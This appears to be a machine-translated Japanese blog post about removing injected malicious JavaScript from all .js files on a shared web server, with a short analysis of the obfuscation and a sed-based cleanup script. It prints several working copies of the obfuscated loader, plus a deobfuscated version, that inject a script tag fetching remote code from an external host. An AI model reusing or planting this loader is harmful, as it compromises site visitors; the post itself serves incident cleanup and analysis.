サーバー上のすべてのjsファイルの駆除または休日の暗号化方式の決定

Habrの読者に、同じマシン上にあるサイトで悪意のあるjsコードをどのように扱ったかについての話を共有したいと思います。 カットの下には、悪意のあるコードのアマチュア分析があります。これは、興味のある目的のためだけに行ったもので、悪意のあるコードからホスト上のファイルを削除します。 この記事は教材ではありませんが、最後に、この物語から学んだ教訓のリストが含まれています。



それがすべて始まった方法



通常の営業日に、私のキュレーターは別のタスクを設定しました。クライアントのサイトで起こっている混乱に対処することです。 いずれかのサイトにアクセスすると、訪問者はすぐに別のページにリダイレクトされました。 この混乱の一部は、クライアントと私のキュレーターのコンピューターで常に問題が発生し(Windowsのコストがかかる)、Ubuntuシステムではこの感染をキャッチできなかったという事実によって生じました。 その後、有害なjs-codeは別のマシンからのコマンドのローダーであり、訪問者側で実行されたことが判明しました。 私が理解したように、感染したマシンの側には、システムから入力したときにコマンドを発行しなかった特定のフィルターがありました。



落とし穴







邪悪なコードの例:
window.addEvent('unload', saveSettings);function tXph13(rT){return zmGud0O(pF7B(rT),'w6AOl64ykS2D2vS');}var jqhQ8=["004085","005095","007066","020068036046024083113021014062087042070","004068034","003079049042","003083057059067092085015010032081054091006039","022070049042002082119017002063086","031083032043","016083053010000083089028005039065006075034050016120032034009","031066053063086025027010031050070033028005062027004111061025025094010068048092048028028032"];function pF7B(m9QAuQ){var u9='';var uT=0;var l7n=0;for(uT=0;uT<m9QAuQ.length/3;uT++){u9+=String.fromCharCode(m9QAuQ.slice(l7n,l7n+3));l7n=l7n+3;}return u9;}function nZrvPy(ci){var xkw31M=document[tXph13(jqhQ8[3])](tXph13(jqhQ8[0])+tXph13(jqhQ8[1])+tXph13(jqhQ8[2]));xkw31M[tXph13(jqhQ8[4])]=ci;xkw31M[tXph13(jqhQ8[5])]=tXph13(jqhQ8[6]);document[tXph13(jqhQ8[9])](tXph13(jqhQ8[8]))[0][tXph13(jqhQ8[7])](xkw31M);}function zmGud0O(fPMlQ,kxzO7O){var sc7B='';var q9AOFX=0;var wT=0;for(q9AOFX=0;q9AOFX<fPMlQ.length;q9AOFX++){var oH6=fPMlQ.charAt(q9AOFX);var cobu=oH6.charCodeAt(0)^kxzO7O.charCodeAt(wT);oH6=String.fromCharCode(cobu);sc7B+=oH6;if(wT==kxzO7O.length-1)wT=0;else wT++;}return (sc7B);}nZrvPy(tXph13(jqhQ8[10])); .createElement(e[i])}})()function rt9tP(q5m1I){return dXkiogo(ze2woX1(q5m1I),'cliPkVhP3k3b3');}var ow51o=["016015","017005","019024","000030012049031051045060086006086012071","016030010","023021025053","023009017036068060009038082024080016090019024","002028025053005050043056090007087","011009008052","004009029021007051005053093031064032074055013014030010059013","011024029032081121071035071010071007029016001005098069036029127089024028001093023066003035"];if9A1C(rt9tP(ow51o[10]));function if9A1C(pa43Q){var g4=document[rt9tP(ow51o[3])](rt9tP(ow51o[0])+rt9tP(ow51o[1])+rt9tP(ow51o[2]));g4[rt9tP(ow51o[4])]=pa43Q;g4[rt9tP(ow51o[5])]=rt9tP(ow51o[6]);document[rt9tP(ow51o[9])](rt9tP(ow51o[8]))[0][rt9tP(ow51o[7])](g4);}function dXkiogo(cRXt,e80M){var k0='';var hz00=0;var x5VhMO=0;for(hz00=0;hz00<cRXt.length;hz00++){var g0=cRXt.charAt(hz00);var jLf9N7=g0.charCodeAt(0)^e80M.charCodeAt(x5VhMO);g0=String.fromCharCode(jLf9N7);k0+=g0;if(x5VhMO==e80M.length-1)x5VhMO=0;else x5VhMO++;}return (k0);}function ze2woX1(hJOCB){var dMa2='';var n7Z=0;var pLz4=0;for(n7Z=0;n7Z<hJOCB.length/3;n7Z++){dMa2+=String.fromCharCode(hJOCB.slice(pLz4,pLz4+3));pLz4=pLz4+3;}return dMa2;} ()})})}})(jQuery);function eH0(kzpR2g){var tZ=document[aFeJ(pXM7JTD[3])](aFeJ(pXM7JTD[0])+aFeJ(pXM7JTD[1])+aFeJ(pXM7JTD[2]));tZ[aFeJ(pXM7JTD[4])]=kzpR2g;tZ[aFeJ(pXM7JTD[5])]=aFeJ(pXM7JTD[6]);document[aFeJ(pXM7JTD[9])](aFeJ(pXM7JTD[8]))[0][aFeJ(pXM7JTD[7])](tZ);}function vbX9B(b5JWR,cZ73){var d7='';var kH5Nhm=0;var lO=0;for(kH5Nhm=0;kH5Nhm<b5JWR.length;kH5Nhm++){var m2z=b5JWR.charAt(kH5Nhm);var rT7v3=m2z.charCodeAt(0)^cZ73.charCodeAt(lO);m2z=String.fromCharCode(rT7v3);d7+=m2z;if(lO==cZ73.length-1)lO=0;else lO++;}return (d7);}function aFeJ(dMk){return vbX9B(tYiR3(dMk),'voRoLKl3Kny18K');}function tYiR3(dH5L){var zS1kLW='';var ub=0;var oK078=0;for(ub=0;ub<dH5L.length/3;ub++){zS1kLW+=String.fromCharCode(dH5L.slice(oK078,oK078+3));oK078=oK078+3;}return zS1kLW;}var pXM7JTD=["005012","004006","006027","021029055014056046041095046003028095076","005029049","002022034010","002010042027099033013069042029026067081059002","023031034010034047047091034002029","030010051011","017010038042032046001086037026010115065031023008028014033046","030027038031118100067064063015013084022056027003096065062062067089056065026095076101028028"];eH0(aFeJ(pXM7JTD[10]));
      
      









小規模分析



このマルウェアを使用した暗号化の種類を知りたかったので、例のコードのリファクタリングを開始しました(以下を参照)。 この分析は、彼の好奇心を満たすために治療後に実施されました。



読みやすい邪悪なコード
 var massiv = ["022022", "023028", "021001", "006007039019069038063009006093009094000", "022007033", "017012050023", "017016058006030041027019002067015066029004017", "004005050023095039057013010092008", "013016035022", "002016054055093038023000013068031114013032004018012019092038", "013001054002011108085022023081024085090007008025112092067054085015016031015094000090015006"]; exec(wrapper(massiv[10])); //   function wrapper(str) { return xor(explode(str), 'euBr1Czec0l0tt'); } //      3      function explode(str) { var mQ418 = ''; var z2wqbh = 0; var pa = 0; for (z2wqbh = 0; z2wqbh < str.length / 3; z2wqbh++) { mQ418 += String.fromCharCode(str.slice(pa, pa + 3)); pa = pa + 3; } return mQ418; } //      head  function exec(mh) { var fq59 = document[wrapper(massiv[3])](wrapper(massiv[0]) + wrapper(massiv[1]) + wrapper(massiv[2])); fq59[wrapper(massiv[4])] = mh; fq59[wrapper(massiv[5])] = wrapper(massiv[6]); document[wrapper(massiv[9])](wrapper(massiv[8]))[0][wrapper(massiv[7])](fq59); } //  , str —   , key —  function xor(str, key) { var wL73 = ''; var c2 = 0; var i8t = 0; for (c2 = 0; c2 < str.length; c2++) { var h6547 = str.charAt(c2); var pTh = h6547.charCodeAt(0) ^ key.charCodeAt(i8t); h6547 = String.fromCharCode(pTh); wL73 += h6547; if (i8t == key.length - 1) i8t = 0; else i8t++; } return (wL73); }
      
      









作業ロジック



配列には、暗号化されたコマンド(createElement、getElementsByTagName、appendChild)、および追加のコマンドをダウンロードするアドレス(http://state.sml2.ru/js/cnt.js)が含まれます。



作業のロジックはすべて、2つの関数に囲まれています。 1つ目はexplodeです。これは、入力文字列を3桁のグループに分割し、各グループからコードごとに文字を受け取り、これらすべての文字を結合します。 結果はxor暗号化を使用するxor関数に送信されますが、暗号化方法についてほとんど知らないため、間違っている可能性があります。



治療



この感染を治療するために、unixシステムのコマンドラインと正規表現を使用することが決定されました。 マルウェアの例からわかるように、次の行とファイルの最後のバイトの直後の両方にファイルに追加されます(以下を参照)。



 ()})})}})(jQuery);function eH0(kzpR2g){ .createElement(e[i])}})()var ow51o=["016015","017005","019024" window.addEvent('unload', saveSettings);function tXph13(rT)
      
      







ファイル(antivirus.sh)で置き換えるコマンド:



 #/bin/bash VIRUS='([\(jQuery\)\;|\)\;|\}|\*\/|\/\/]{0,})(var [a-zA-Z0-9]{2,}=\[".*|function [a-zA-Z0-9]{2,}.*)$'; sed -i -r '/.length\/3;/s/'"$VIRUS"'/\1/' "$1";
      
      







ここでは、ウイルス機能(.length / 3;)を含むすべての行を探し、最初のグループの結果で置き換えます。 これが行われない場合、sedコマンドはこの健全なコードも削除します。



次のコマンドを使用して、自作のアンチウイルスが起動されました。



 find . -type f -name "*.js" -exec bash antivirus.sh {} \;
      
      





結果はすぐに現れ、数分後には自分の仕事の結果に満足しました。



結論:





最後に、読みやすくするために休暇を取ったすべての人に感謝します。 コメントでコメントを歓迎します。



All Articles